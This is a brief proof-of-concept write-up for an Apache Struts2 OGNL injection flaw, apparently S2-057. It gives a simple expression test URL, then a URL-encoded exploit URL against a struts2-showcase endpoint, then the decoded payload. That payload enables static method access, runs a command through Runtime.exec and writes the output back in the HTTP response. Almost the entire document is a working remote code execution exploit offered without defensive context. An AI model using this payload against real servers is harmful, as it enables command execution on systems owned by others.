PoC1:
http://www.canyouseeme.cc:8080/struts2-showcase/${(111+111)}/actionChain1.action

PoC2:
http://www.canyouseeme.cc:8080/struts2-showcase/%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain1.action

Payload code:
${
(
#_memberAccess["allowStaticMethodAccess"]=true,
#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new java.io.BufferedReader(#b),
#d=new char[51020],
#c.read(#d),
#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#jas502n.println(#d),
#jas502n.close())
}

More here:
https://github.com/jas502n/St2-057